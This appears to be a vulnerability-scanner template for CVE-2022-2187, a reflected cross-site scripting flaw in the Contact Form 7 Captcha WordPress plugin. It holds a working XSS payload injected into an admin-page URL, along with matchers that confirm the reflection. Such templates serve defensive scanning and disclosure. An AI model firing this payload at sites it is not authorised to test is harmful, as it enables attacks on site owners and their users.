id: CVE-2022-2187

info:
  name: Contact Form 7 Captcha < 0.1.2 - Reflected Cross-Site Scripting
  author: For3stCo1d
  severity: medium
  description: |
    The Contact Form 7 Captcha WordPress plugin before 0.1.2 does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute, which could lead to Reflected Cross-Site Scripting in old web browsers
  reference:
    - https://wpscan.com/vulnerability/4fd2f1ef-39c6-4425-8b4d-1a332dabac8d
    - https://wordpress.org/plugins/contact-form-7-simple-recaptcha
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2187
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2187
    cwe-id: CWE-79
  tags: cve,cve2022,wordpress,xss,wp-plugin,wp

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/options-general.php?page=cf7sr_edit&"></script><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
          - "Contact Form 7"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200